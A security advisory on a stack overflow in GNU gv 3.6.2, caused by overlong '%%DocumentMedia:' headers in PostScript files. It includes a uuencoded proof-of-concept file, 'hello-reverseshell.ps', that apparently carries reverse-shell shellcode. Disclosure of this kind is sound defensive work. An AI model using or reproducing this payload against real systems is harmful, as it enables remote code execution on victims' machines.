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GNU gv Stack Overflow Vulnerability (DocumentMedia, Exploit)
------------------------------------------------------------------------
SUMMARY
gv is "a comfortable viewer of PostScript and PDF files for the X Window
System. It uses the ghostscript PostScript interpreter and is based on the
classic X front-end for gs, ghostview, which it has replaced now".
Overflowing the DocumentMedia parameter of gv allows attackers to cause
the product to execute arbitrary code.
DETAILS
Vulnerable Systems:
* GNU gv 3.6.2
The 'gv' viewer is prone to a remote stack overflow vulnerability. This
issue exists because the application fails to perform proper boundary
checks before copying user-supplied data into process buffers. A remote
attacker may execute arbitrary code in the context of a user running the
application. As a result, the attacker can gain unauthorized access to the
vulnerable computer.
This issue is present itself in the 'ps_gettext()' function residing in
the 'ps.c' file.
Long comments in some specific headers (such as '%%DocumentMedia:') of PS
files are unconditionally copied into 'text', a 257 character buffer on
the stack.
This issue is reported to affect gv 3.6.2, but earlier versions are likely
prone to this vulnerability as well. Applications using embedded gv code
may also be vulnerable.
Exploit:
The following file can be used to test the exploit:
begin 644 hello-reverseshell.ps
M)2%04RU!9&]B92TS+C`*)254:71L93H@:&5L;&\N<',*)25&;W(Z(%)E;F%U
M9"!,:69C:&ET>B`M(%-Y<V1R96%M("T@:'1T<#HO+W=W=RYS>7-D<F5A;2YC
M;VTO"B4E0F]U;F1I;F=";W@Z(#(T(#(T(#4X."`W-C@*)25$;V-U;65N=$UE
M9&EA.B"0D)"0D)"0D#')@^GNV>[9="3T6X%S$](GKN*#Z_SB]./\_:&!3:R(
MM'\G`Q^G/;MB&&-BFUY7N8A/;DJ\T,B*PL;MA(&N3U*T=_^Q6\;M+U)UQLW]
M5,:*_47'C%O$_+%;QA[I'Z>NXD%!04%!04%!04%!04%!04%!04%!04%!04%!
M04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!
M04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!
M04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!04%!
M04%!04%!04'OO`0(04%!(#8Q,B`W.3(@,"`H*2`H*0HE)41O8W5M96YT1&%T
M83H@0VQE86XW0FET"B4E3W)I96YT871I;VXZ($QA;F1S8V%P90HE)5!A9V5S
M.B`Q"B4E4&%G94]R9&5R.B!!<V-E;F0*)24K(&5N8V]D:6YG($E33RTX.#4Y
9+3%%;F-O9&EN9PHE)45N9$-O;6UE;G1S"@``
`
end
ADDITIONAL INFORMATION
The information has been provided by <mailto:r.lifchitz@sysdream.com>
Renaud Lifchitz.
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